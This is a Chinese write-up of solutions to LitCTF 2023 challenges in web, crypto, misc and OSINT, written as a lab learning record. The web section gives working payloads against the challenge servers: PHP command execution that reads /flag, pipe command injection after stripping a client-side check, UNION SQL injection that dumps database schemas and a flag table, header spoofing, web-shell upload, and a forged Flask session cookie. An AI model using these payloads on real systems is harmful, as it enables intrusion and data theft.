您现在的位置是:首页 >技术教程 >LitCTF Web、社工AK 以及部分misc和crypto网站首页技术教程
LitCTF Web、社工AK 以及部分misc和crypto
WEB
我Flag呢?
- CTRL+U 查看源代码,拉到最底下
<!--flag is here flag=NSSCTF{22b32488-ef71-4b0b-8972-fa0b5bd60e77} -->
导弹迷踪
- 进去发现是游戏且有一堆JS代码,先死一次发现提示
CRASHED
, CTRL+F 搜索CRASHED
,发现以下JS代码var Messages = { START: { title: getLevelString, text: function () {return 'CLICK TO BEGIN';} }, CRASH: { title: function () {return 'CRASHED';}, text: function () {return 'CLICK TO RETRY';} }, GAME_OVER: { title: function () {return 'GAME OVER';}, text: function () {return 'CLICK TO START AGAIN';} }, FINISH: { title: function () {return 'LEVEL COMPLETED';}, text: function () {if (mLevel === 6) {return 'GOT F|L|A|G {y0u_w1n_th1s_!!!}';} else {return 'CLICK TO CONTINUE';}}, } };
得到
NSSCTF{y0u_w1n_th1s_!!!}
Follow me and hack me
- 根据页面题目要求直接用 hackbar 传参
GET
/?CTF=Lit2023
POST
Challenge=i'm_c0m1ng
得到
NSSCTF{d2d51e7d-4946-4e02-8a6c-d0dffe52e3ac}
PHP是世界上最好的语言!!
- 首先题目介绍说
用PHP写了一个小工具(Flag位于根目录)
,且进入页面后右边的输入框下面是RUN CODE
,那么我们写一个PHP语句echo 1;
发现左面输出了
1
- 直接用PHP的
system()
函数调用 shell 读取flagsystem('cat /flag');
得到
flag=NSSCTF{235bf40e-d3f1-4109-8393-3b926bd88394}
Vim yyds
- F12 开发者工具看了个遍也没发现可以利用的东西,扫后台吧
python3 dirsearch.py -u http://node5.anna.nssctf.cn:28172/
发现只有
/.index.php.swp
可以访问
下载后查看代码,发现
<html>
和<head>
在后,闭合标签在前,推测代码逐行取反了以下代码省略了一部分,保留思路部分
前面省略部分 1 </body> </main> </div> ?> } eval(system($_POST['cmd'])); echo "<p>Oh You got my password!</p>"; if ($_POST['password'] === base64_encode($password)) { echo "<p>can can need Vim </p>"; $password = "Give_Me_Your_Flag"; error_reporting(0); <?php <div class="can_can_vim"> </h3> 闃熼噷甯堝倕璇碫im鏄笘鐣屼笂鏈€濂界殑缂栬緫鍣紝涓嶆帴鍙楀弽椹? <h3 class="vim_said"> </div> </h1> Vim yyds <h1 class="vim_yyds"> <img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img> <div class="vim"> <main> <body> </head> </style> } font-size: 20; p { br, } align-items: center; justify-content: center; display: flex; color: #39c2ff; h3.vim_said { } margin-left: 5px; margin-top: 50; justify-content: center; align-items: flex-start; display: flex; color: #50f728; h1.vim_yyds { } height: auto; width: 8rem; border: none; img { } justify-content: center; vertical-align: middle; align-content: center; display: flex; div.vim { } justify-content: center; align-items: center; display: flex; html { body, <style type="text/css"> <meta charset="UTF-8"> <head> <html>
- 根据取反的代码传参
$password = "Give_Me_Your_Flag"; if ($_POST['password'] === base64_encode($password)) { eval(system($_POST['cmd'])); echo "<p>Oh You got my password!</p>"; }
POST
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
R2l2ZV9NZV9Zb3VyX0ZsYWc
base64解码后是Give_Me_Your_Flag
得到
NSSCTF{f6f22c85-31ee-477e-bf04-f5107e450158}
作业管理系统
进去随便点几个页面看看分别是啥功能,找到创建文件,创建一个
1.php
,选择编辑文件,内容写一个一句话木马(为了这个md不报毒代码就不展示了)AntSword 连接 (密码随意,就不展示了)
URL
http://node5.anna.nssctf.cn:28898/1.php
访问
/flag
得到flag=NSSCTF{46f6a860-5c45-427d-9023-9a4bd360f2b0}
这是什么?SQL !注一下 !
- 先传入
1
、2
,发现有回显,传入3
时没有回显,并且联合注入的几个关键字没有被过滤,直接判断回显点3))))))union select 1,2#
发现有页面正常显示
- 库
3))))))union select 1,database()#
得到当前库为
ctf
,并且能判断就是一个无过滤(最起码联合注入没过滤)的注入
- 表名
1))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf'#
- 列名
1))))))union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
得到一堆
id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
并且将所有的内容爆出没有想要的(彩蛋除外)
推断是跨库注入
- 数据库名
3))))))union select 1,group_concat(schema_name) from information_schema.schemata#
得到
Array ( [0] => Array ( [username] => 1 [password] => information_schema,mysql,ctftraining,performance_schema,test,ctf ) )
- 最后
3))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'# 3))))))union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'# 3))))))union select 1,group_concat(flag) from ctftraining.flag#
得到
Array ( [0] => Array ( [username] => 1 [password] => NSSCTF{9a120976-4dc5-4aeb-b9a5-42c189d078e3} ) )
Http pro max plus
- 以下均为请求头
只允许本地访问
(xff不彳亍)client-ip: 127.0.0.1
You are not from pornhub.com !
?? 6referer: pornhub.com
用Chrome浏览器啊!
User-Agent: Chrome
不开代理你想上p站? 代理服务器地址是Clash.win
via: Clash.win
- 访问
/wtfwtfwtfwtf.php
,发现没啥能利用的, CTRL+U 查看源代码,发现/sejishikong.php
访问得到冲完啦?拿上你的flag赶紧走NSSCTF{651804b1-116f-4a03-9fa0-c83251ed5c94}
Ping
老朋友先来
127.0.0.1 | ls
,发现被过滤了,尝试其他方法没用CTRL+SHIFT+C 追踪到
<form action="" method="POST" onsubmit="return check_ip()"> ……
并将其修改为
<form action="" method="POST"> ……
传入
127.0.0.1 | cat /flag
得到flag=NSSCTF{b037232c-99f1-4595-8340-cdfc95f5405c}
1zjs
前面的无用功就不说了(无用功 = 2h),F12网络发现
index.umd.js
,打开后搜php
,发现有个/f@k3f1ag.php
访问然后将里面的东西扔到控制台求值
"NSSCTF{c961bb33-2941-445e-8e6a-44a7f684b0aa}"
就当无事发生
https://ProbiusOfficial.github.io
会跳转, github 里搜ProbiusOfficial
发现有一个ProbiusOfficial/ProbiusOfficial.github.io
点进去找第一个(4.29)commit
第331行
<p>Flag LitCTF{g1thub_c0mmit_1s_s0_us3ful}</p> <p>就当无事发生!!!!</p>
Flag点击就送!
随便搞个名字,然后点 “拿flag” 提示
只有管理员才能拿flag耶
发现cookie有
session=eyJuYW1lIjoiMSJ9.ZF_Rzw.66Bhq8DeAT3ZNL__sXET82Z7Ito
推测session伪造,盲猜(bushi secret-key 为 “LitCTF” ,用 “Flask Session Cookie Decoder/Encoder” 工具构造# python3 flask_session_cookie_manager3.py encode -s 'LitCTF' -t '{"name":"admin"}' eyJuYW1lIjoiYWRtaW4ifQ.ZF_Svw.OqRWPIO6banla_-GSc93QhDQLFo
- burp 放包
…… Cookie: session=eyJuYW1lIjoiYWRtaW4ifQ.ZF_Svw.OqRWPIO6banla_-GSc93QhDQLFo ……
得到
NSSCTF{d047ebcb-d92e-4f9e-95c0-be24471ea267}
彩蛋
- 第一部分在 “我Flag呢?” 这一题
- F12 控制台发现有
try to run giveMeEgg() to get the egg!good luck~
,运行giveMeEgg()
后得到LitCTF{First_t0_The_k3y! (1/?)
- 第二部分在 "作业管理系统 " 这一题
在 “上传文件这一页面下” 有一个URL 为
https://github.com/ProbiusOfficial/My_pic/blob/main/demo.jpg
,访问后得到wow 你找到了第二个彩蛋哦~ _S0_ne3t? (2/?)
- 第三部分在 “Follow me and hack me” 这一题
正常传参解出此题后提示
他说备份文件还有好吃的
,根据提示访问/www.zip
下载备份文件,下载完成后打开index.php.bak
发现注释行,得到// 第三个彩蛋!(看过头号玩家么?) // _R3ady_Pl4yer_000ne_ (3/?)
- 第四部分在 "这是什么?SQL !注一下 " 这一题
直接传
2
Array ( [0] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) )
综上得到
LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}
CRYPTO
你是我的关键词(Keyworld) (初级)
“keyworld” -> “keyword” ,百度
keyword在线解密
题目描述: YOU are my keworld
待解码内容
IFRURC{X0S_YP3_JX_HBXV0PA}
keyword
YOU
得到
LITCTF{Y0U_AR3_MY_KEYW0RD} NSSCTF{Y0U_AR3_MY_KEYW0RD}
(校外)Is this only base?
- 根据题目中的 “base” ,且等号不在末尾推测,栅栏密码, txt 文件中提到了 23 这个数字
待解密内容
SWZxWl=F=DQef0hlEiSUIVh9ESCcMFS9NF2NXFzM
栏数
23
得到
SWZxWlFDe0liUV9ScF9FNFMzX2NSMCEhISEhfQ==
- base64解密
IfqZQC{IbQ_Rp_E4S3_cR0!!!!!}
- 凯撒密码
待解密内容
IfqZQC{IbQ_Rp_E4S3_cR0!!!!!}
偏移量
23
得到
LitCTF{LeT_Us_H4V3_fU0!!!!!} NSSCTF{LeT_Us_H4V3_fU0!!!!!}
Small
- CTF题目,
(前缀最大值-前缀最小值)*2
#include<bits/stdc++.h> #define IOS std::ios::sync_with_stdio(false);cin.tie(NULL);cout.tie(NULL); #define ll long long #define int long long #define endl " " //#pragma GCC optimize(2) using namespace std; const int mn = 1e5+10; const int mod = 1e9+7; const int N = 2e5+10; int dr[4][2]={{-1,0},{1,0},{0,-1},{0,1}}; inline ll gcd(ll x,ll y){ if(x<y) swap(x,y); return y?gcd(y,x%y):x; } //int d[1000007]; // //int lowbit(int x){ // return x&(-x); //} // //int query(int x){ // int res=0; // while(x){ // res+=d[x]; // x-=lowbit(x); // } // return res; //} // //void update(int x,int v){ // while(x<=n){ // d[x]+=v; // x+=lowbit(x); // } //} void solve(){ int n; cin >>n; int l,r; for(int i=1;i<=n;i++){ int num; cin >>num; if(i==1){ l=num; r=num; } l=min(l,num); r=max(r,num); cout <<(r-l)*2<<endl; } } signed main(){ IOS; int T=1; // cin >>T; while(T--){ solve(); } return 0; }
MISC
OSINT 探姬去哪了?_0
- 中国电信郑州分公司不是,百度了理念,相关的什么江苏公司都试过了,最后突发奇想会不会是总部
NSSCTF{中国电信大厦}
OSINT 探姬去哪了?_1
玻璃上的
SANGEL
、酒店
两个关键词,直接百度发现是松果酒店
郑州陇海东路地铁站店
和郑州农业路店
试一下就行了NSSCTF{松果酒店(郑州农业路店)}
OSINT 探姬去哪了?_2
提取关键字搜索
hackingclub郑州
发现第一条凤凰网报道中提到了漫香音乐酒吧
高德地图搜在郑州的
漫香音乐酒吧
发现只有一家NSSCTF{漫香音乐酒吧(农科路店)}
OSINT 探姬去哪了?_3
门上贴着
郑州轻工业大学
的二维码 + 格式里面的第114教学楼
,高德地图搜郑州轻工业大学第一教学楼
发现只有科学校区有第X教学楼这一说“217” 应该是 2 楼,第几教学楼全靠猜
NSSCTF{科学校区-第1教学楼-2层-217}
OSINT 这是什么地方?!
百度识图直接上传发现一堆视频 (营销号吧t**d,没一个说地名的)
然后打开视频在第 6 秒的时候右上角隐约看见一个楼,
陕西?色?????集团
共 11 个字百度
陕西有色
然后找,最后符合条件的只有一个NSSCTF{陕西有色榆林新材料集团}
Osint小麦果汁
- 上面有个
hacker&craft
百度一下发现是杭州的一家名叫黑客与酿造
的酒吧NSSCTF{黑客与精酿}
【Minecraft】玩的开心~~~
- 开服第一天凌晨,进去一次下矿挖了五六个钻石,换了 flag 合了把钻稿就下线了,过了一天上线发现有个末地传送门,啥也没想跳进去了,发现龙还没死??然后我就在末地的最中间的柱子下5格放了个箱子,全身家当扔进去然后自杀(龙没死回不去)去主世界,杀蜘蛛(为什么看不见羊)好不容易攒了七八张床进末地,发现龙不下来!不下来!!又自杀然后找弓箭,没收集够就下线了。又过了一天上线捎带杀了个铁傀儡(居然有提示XXX获得了flag)然后下线。
开赛了之后交了 flag 就没上线,鸽们我写 wp 写到这题了,进游戏发现龙死了,诶挺开心,进去找末地的箱子……
我就想问一句谁丫的把我全身家当全拿走还不忘了给我把方块全填上伪造成没人来的样子?!
NSSCTF{Gaming_in_CTF_is_qu1te_f4n!}
(校外)雪山的秘密
- 根据音频得到一堆字符
'00011',' 010101',' 00111',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 00111',' 00011',' 100001',' 010101',' 00011',' 00111',' 100001',' 00011',' 00111',' 010101',' 100001',' 00011',' 010101',' 010101',' 100001',' 10010',' 010101',' 010101',' 00111',' 100001',' 00111',' 00111',' 00011',' 100001',' 010101',' 00011',' 00111',' 100001',' 00011',' 00111',' 00111',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 010101',' 00111',' 100001',' 10010',' 00111',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 00111',' 00011',' 00111',' 100001',' 00111',' 00111',' 00011',' 100001',' 010101',' 010101',' 00111',' 100001',' 010101',' 00011',' 00111',' 100001',' 10010',' 00011',' 010101',' 00111',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 00111',' 00011',' 100001',' 00011',' 010101',' 00011',' 100001',' 010101',' 010101',' 00011',' 100001',' 10010',' 010101',' 00011',' 00111',' 100001',' 00011',' 00111',' 010101',' 100001',' 00011',' 00111',' 00111',' 100001',' 010101',' 00011',' 010101',' 100001',' 10010',' 010101',' 00011',' 010101',' 100001',' 00011',' 00011',' 010101',' 100001',' 00111',' 00111',' 010101',' 100001',' 00111',' 00011',' 010101',' 100001',' 010101',' 010101',' 00011',' 100001',' 010101',' 00111',' 00011',' 100001',' 010101',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 10010',' 010101',' 00111',' 010101',' 100001',' 010101',' 010101',' 00011',' 100001',' 00111',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 010101',' 00111',' 00011',' 100001',' 10010',' 00111',' 00011',' 010101',' 100001',' 010101',' 00011',' 00011',' 100001',' 010101',' 00011',' 00111',' 100001',' 00111',' 010101',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 10010',' 00011',' 010101',' 00111',' 100001',' 00111',' 00111',' 00011',' 100001',' 00011',' 00111',' 00111',' 100001',' 00011',' 00011',' 00111',' 100001',' 00011',' 010101',' 010101',' 100001',' 00111',' 00011',' 00011'
- 莫斯密码解码
3.2-..3-.23-.32-32.-3..-/..2-223-.32-322-..3-..2-/2.2-3..-232-223-..2-.32-/3.2-..3-.23-3.3-..3-/.32-32.-322-.3.-/.3.-33.-22.-23.-..3-.23-..2-3..-/.2.-..3-2.2-3..-.23-/23.-.33-.32-2.2-3..-/3.2-223-322-332-3..-233
- 百度发现是元神的一个彩蛋,根据百度出来的彩蛋得到
NSSCTF{FOR_THE_NATION_WE_CANT_FORGO_THIS_SKYBORNE_POWER_BUT_WE_FAILED}
(校外)ssvvgg
将svg转为 base64 然后解码,将里面的jpeg提取后转成图片
try8.jpeg
stegseek 爆破,密码为
666666
stegseek try8.jpeg passdict6.txt
- steghide提取隐藏文件
steghide extract -sf try8.jpeg
- flag.txt
LitCTF{svg?_base642png!&steghide!} NSSCTF{svg?_base642png!&steghide!}
(校外)easy_shark
zip一个伪加密
wireshark 打开,发现某 POST 记录很可疑
POST /upload_file.php HTTP/1.1
POST /mm.php HTTP/1.1 (application/x-www-form-urlencoded)
分别发现他们是一句话木马和响应的传参,密码为
a
- 找最后一次的 POST 记录发现
(x^2-x**2)+(x-17)(x-77)=0 #gezx{j13p5oznp_1t_z_900y_k3z771h_k001}
- 将方程扔给ChatGPT
这是一个二次方程的表达式。让我们展开并简化它: (x^2 - x^2) + (x - 17)(x - 77) = 0 由于 x^2 - x^2 的项相互抵消,我们可以简化为: (x - 17)(x - 77) = 0 现在我们需要找到使方程等于零的解。根据零乘积法则,当两个因子的乘积等于零时,至少有一个因子等于零。 因此,我们可以得到以下两个可能的解: x - 17 = 0 => x = 17 x - 77 = 0 => x = 77 所以,方程的解为 x = 17 或 x = 77。
- 仿射密码解密得到
flag{w13e5hake_1s_a_900d_t3a771c_t001} NSSCTF{w13e5hake_1s_a_900d_t3a771c_t001_a}